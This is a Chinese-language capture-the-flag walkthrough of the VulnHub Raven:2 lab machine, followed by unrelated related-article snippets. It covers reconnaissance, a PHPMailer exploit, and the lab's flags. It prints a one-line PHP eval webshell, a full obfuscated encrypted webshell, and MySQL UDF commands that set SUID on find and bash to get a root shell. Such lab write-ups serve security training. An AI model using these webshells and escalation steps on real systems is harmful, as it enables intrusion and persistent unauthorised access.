vulnhub-RAVEN:2(MYSQL-UDF提权,手工提权/工具自动提权)

news2024/11/30 5:52:35

镜像下载:Raven: 2 ~ VulnHub

实验环境:kali:192.168.78.128

                   vulnhub镜像:192.168.78.133

1、kali查看本地ip地址,以便使用nmap扫描ip段存活主机

2、nmap扫描IP段,发现靶机的IP地址为192.168.78.133

4、访问http:192.168.78.133/

 5、使用gobuster扫描目录,发现存在vendor目录,且发现靶机使用的是phpmailer

 

 6、发现vendor

7、发现第一个flag,并且网站的路径为/var/www/html/vendor/

flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

8、发现phpmailer版本为5.2.16

 

9、去exp官网查询漏洞情况

        网站为:https://www.exploit-db.com/

 

10、下载exp

这里如果始终报错,不出现shell的URL地址时,请在python脚本开头加入如下代码
#!/usr/bin/python

# -*- coding: utf-8 -*-

11、当访问shell的URL时,shell反弹到主机

 

12、查看目录

13、查询flag文件

/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png

/var/www/flag2.txt

 

 

 

 14、cat wp-config.php,在配置文件中发现了mysql账号密码

 

 15、写入一句话木马,使用蚁剑连接

echo '<?php eval(@$_POST['x']);?>' > 1.php

使用bash命令:python -c 'import pty;pty.spawn("/bin/bash")'

 

 16、连接shell的时候遇到一个问题,哥斯拉可以连接成功,冰蝎连接失败,换个冰蝎的shell脚本才能连接,一句话木马只能使用哥斯拉和蚁剑连接。

 

 选择冰蝎专用shell脚本

 密码为x的webshell

<?php @error_reporting(0);session_start();$key="9dd4e461268c8034";$_SESSION['k']=$key;$f='file'.'_get'.'_contents';$p='|||||||||||'^chr(12).chr(20).chr(12).chr(70).chr(83).chr(83).chr(21).chr(18).chr(12).chr(9).chr(8);$HnEIj=$f($p);if(!extension_loaded('openssl')){ $t=preg_filter('/\s+/','','base 64 _ deco de');$HnEIj=$t($HnEIj."");for($i=0;$i<strlen($HnEIj);$i++) { $new_key = $key[$i+1&15];$HnEIj[$i] = $HnEIj[$i] ^ $new_key;}	}else{ $HnEIj=openssl_decrypt($HnEIj, "AES128", $key);}$arr=explode('|',$HnEIj);$func=$arr[0];$params=$arr[1];class G3Kp74P0{ public function __invoke($p) {@eval("/*Z947fQ9k4P*/".$p."");}}@call_user_func/*Z947fQ9k4P*/(new G3Kp74P0(),$params);?>

 17、利用mysql数据库提权

(1)连接数据库

 

 (2)发现数据库没开启外链,使用sql语句开启外链

 (3)利用navict连接数据库,发现连接失败,怀疑防火墙禁止外链

 (4)MDUT 2.0 数据库利用工具  https://github.com/SafeGroceryStore/MDUT  

利用冰蝎内网穿透,内网mysql出来连接我

连接成功之后进行UDF提权

查看root目录下的文件,发现存在第四个flag

 以下是两个手工提权的手法。分别是find、bash提权

18、利用exp手工提权,将find命令赋予suid权限,使用find的exec执行命令

 (1)通过mysql账号密码,登录进入mysql,看看数据库的版本是否存在漏洞

 (2)查看版本

 (3)exp:

MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2) - Linux local Exploit我们在KALI上编译生成so文件

wget https://www.exploit-db.com/download/1518

mv 1518 raptor_udf.c

gcc -g -c raptor_udf.c

gcc -g -shared -o raptor_udf.so raptor_udf.o -lc

mv raptor_udf.so 1518.so

(4)将输出的1518.so上传到靶机的/tmp,进行提权,进入mysql数据库中导入

use mysql;

create table foo(line blob);

insert into foo values(load_file('/tmp/1518.so'));

select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';

创建do_system函数调用

create function do_system returns integer soname '1518.so';

select do_system('chmod u+s /usr/bin/find');

#配合使用find调用执行

touch dafei

find dafei –exec "whoami" \;

find dafei –exec "/bin/sh" \;

id

 

19、bash提权

(1)查看bash命令的目录

(2)mysql中导入脚本,新增/usr/lib/mysql/plugin/1518.so

use mysql;

create table foo(line blob);

insert into foo values(load_file('/tmp/1518.so'));

select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';

创建do_system函数调用

create function do_system returns integer soname '1518.so';

select do_system('chmod u+s /bin/bash');

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/512241.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

十款常用的Jupyter Notebook Extensions插件

Table of Contents&#xff1a;一款可以在笔记本左侧生成目录树的插件。它可以让你快速导航到不同的章节&#xff0c;也可以折叠和展开各级标题。Codefolding&#xff1a;一款可以折叠代码块的插件。它可以让你隐藏不需要查看的代码&#xff0c;只显示关键的部分&#xff0c;提…

【Linux】Linux的文件操作

文件操作对于不少编程初学者来说都是一件头疼的事情&#xff0c;不管你学习的是什么编程语言&#xff0c;C/C/Java/Go/Python ,因为我们学习到的文件相关的操作对你来说都是一个黑盒&#xff0c;我们只是知道我们应该怎么使用相应的文件函数进行操作&#xff0c;而对于内部的实…

Linux线程同步(2)——初识互斥锁

互斥锁&#xff08;mutex&#xff09;又叫互斥量&#xff0c;从本质上说是一把锁&#xff0c;在访问共享资源之前对互斥锁进行上锁&#xff0c;在访问完成后释放互斥锁&#xff08;解锁&#xff09;&#xff1b;对互斥锁进行上锁之后&#xff0c;任何其它试图再次对互斥锁进行加…

C语言:青蛙跳台与汉诺塔问题

青蛙跳台 原理&#xff1a;一只青蛙跳n个台阶&#xff0c;青蛙可以一次性跳1个台阶&#xff0c;也可以跳2个台阶&#xff0c;问&#xff0c;有多少种跳法&#xff0c;可以跳过n个台阶。 分析&#xff1a;青蛙跳台本质上是递归问题&#xff0c;那它为什么是递归问题呢&#xff…

cleanmymac在哪下载?中文官网安装教程

CleanMyMac是一个系统清理工具&#xff0c;删除系统缓存文件 , 多余的应用程序语言包 , PowerPc软件运行库等。 是个给你的硬盘瘦身的好工具。 系统&#xff1a;macOS 10.14&#xff08;在10.15以及Big Sur中的安装激活教程相同&#xff09;登录CleanMyMac X下载页面&#xff0…

第十四章_缓存双写一致性之更新策略探讨

缓存双写一致性的理解 如果redis中有数据 需要和数据库中的值相同 如果redis中无数据 数据库中的值要是最新值&#xff0c;且准备回写redis 缓存按照操作来分&#xff0c;细分2种 只读缓存 读写缓存 同步直写策略 写数据库后也同步写redis缓存&#xff0c;缓存和数据库…

01:mysql基本操作---DDL

目录 前言: 1:SQL分类 2:类型 3:sql表的创建----简单版本 前言: 1:SQL语句可以单行或多行书写&#xff0c;以分号结尾。 2:SQL语句可以使用空格/缩进来增强语句的可读性。 3:MySQL数据库的SQL语句不区分大小写&#xff0c;关键字建议使用大写 4:注释: 单行注释:-- 注释…

RabbitMQ详解(三):消息模式(fanout、direct、topic、work)

消费模式 参考官网&#xff1a;https://www.rabbitmq.com/getstarted.html 简单模式 Simple, 参考RabbitMQ详解&#xff08;二&#xff09;&#xff1a;消息模式 Simple(简单)模式 简单模式是最简单的消息模式&#xff0c;它包含一个生产者、一个消费者和一个队列。生产者向队…

量化散户交易数据:追涨爆亏99%,杀跌少赚28倍?| 追涨杀跌一时爽,散户钱包火葬场?【邢不行】

你第一次炒股的经历是不是这样的&#xff1a; 你有一个朋友&#xff0c;他说在XX股票上大赚了一笔&#xff0c;你听后是既羡慕又不服。 于是你下载了炒股软件&#xff0c;看了眼这只股票&#xff0c;有点心动。但由于没有交易经验&#xff0c;股价又确实涨了不少&#xff0c;…

Python基础入门编程代码练习(四)

一、遍历列表 通过 input输入3个人信息&#xff0c;每个人有姓名和年龄&#xff0c;将信息存入字典中&#xff0c;并将将字典存入列表。 遍历列表&#xff0c;打印每个人的信息&#xff0c;打印格式如下&#xff1a; 张三 20李四 22王五 23 1. 输入三个人的信息 (输入 inpu…

qiankun 微前端 demo(Vue2)

前言 这是我最近刚开始学微前端&#xff08;qiankun框架&#xff09;做的一个小demo&#xff0c;做的时候还是遇到很多问题的&#xff0c;在网上也是看了很多别人的Blog&#xff0c;最后也是磨出来了&#x1f602;&#x1f602;&#x1f602;&#xff1b;这篇文章总统分为分为…

国产麒麟操作系统 myCat1.6读写分离

我的环境是麒麟操作系统&#xff0c;我只配置读写分离 一、使用说明&#xff0c;java环境&#xff0c;解压就能用 下载地址https://raw.githubusercontent.com/MyCATApache/Mycat-download/master/1.6-RELEASE/Mycat-server-1.6-RELEASE-20161028204710-linux.tar.gz mycat 是j…

OJ刷题之旅

题目 现在给你两种颜色的箩筐&#xff0c;需要的时候&#xff0c;就把一个个大小差一圈的筐叠上去&#xff0c;使得从上往下看时&#xff0c;边筐花色交错。这个工作现在要让计算机来完成&#xff0c;得看你的了。 输入 输入是一个个的三元组&#xff0c;分别是&#xff0c;外…

SpringCloud使用SkyWalking实现分布式链路追踪1

文章目录 一、MicrometerTracingBrave(Sleuth)链路追踪1、MicrometerTracingBrave和Zipkin的概论2、Docker搭建Zipkin服务3、MicrometerTracingBrave和Zipkin实现链路追踪 二、SkyWaking服务的安装与使用1、SkyWalking的概论2、Java探针的环境搭建3、Java探针实现日志监控4、Sk…

Netty——介绍和maxContentLength配置

官网 介绍 Netty框架的设计思路是基于NIO的事件驱动编程模型&#xff0c;核心组件包括&#xff1a; Channel&#xff1a;通道&#xff0c;负责网络数据的读写操作&#xff1b; EventLoop&#xff1a;事件循环&#xff0c;处理I/O事件和用户自定义事件&#xff1b; ChannelFut…

【子集树】输出一个序列的子序列

【子集树】输出一个序列的子序列 给一个序列 1 2 3 输出序列的子集 1 2 3 12 13 23 123 如何实现&#xff1f; 由上可以看出 类似于全排列 如何用全排列 实现子集输出&#xff1f; 也就是子集树&#xff1f; #include<iostream>using namespace std;const int N 1e5…

【C++技能树】令常规运算符用在类上 --类的六个成员函数II

Halo&#xff0c;这里是Ppeua。平时主要更新C语言&#xff0c;C&#xff0c;数据结构算法…感兴趣就关注我吧&#xff01;你定不会失望。 本篇导航 0.运算符重载1.赋值运算符 重载2.比较运算符 重载3.比较运算符 ! 重载4.比较运算符 < 重载5.比较运算符 < 重载6. 比较…

图片处理软件:分享6款非常实用的图片处理工具

目录 一、移动端 1、snapseed 2、一键抠图 3、pixlr 二、电脑端 1、图片编辑助手 2.GIMP 3、photopea 今天给大家分享6款非常实用的图片处理工具&#xff0c;其中包含移动端和电脑端&#xff0c;每一款都非常实用&#xff0c;希望对大家能有所帮助&#xff01; 一、移…

《编程思维与实践》1059.计算a的n次方的大整数

《编程思维与实践》1059.计算a的n次方的大整数 题目 思路 高精度的问题统一的解决思路是用一个数组去存大整数的每一位数,运算转化为对数组的操作. 可以从个位开始存(逆序),也可以从最高位开始存(顺序),以处理方便为主要考虑因素. 同时可以将大整数定义为一个结构体,包含位数,…

软件架构:理解分析三层结构观点

三层结构的简单描述及优点   三层体系结构&#xff0c;即用户层、应用层和数据库服务器。用户层主要指用户界面&#xff0c;它要求尽可能的简单&#xff0c;使最终用户不需要进行任何培训就能方便地访问信息&#xff1b;第二层就是应用服务器&#xff0c;也就是常说的中间件&…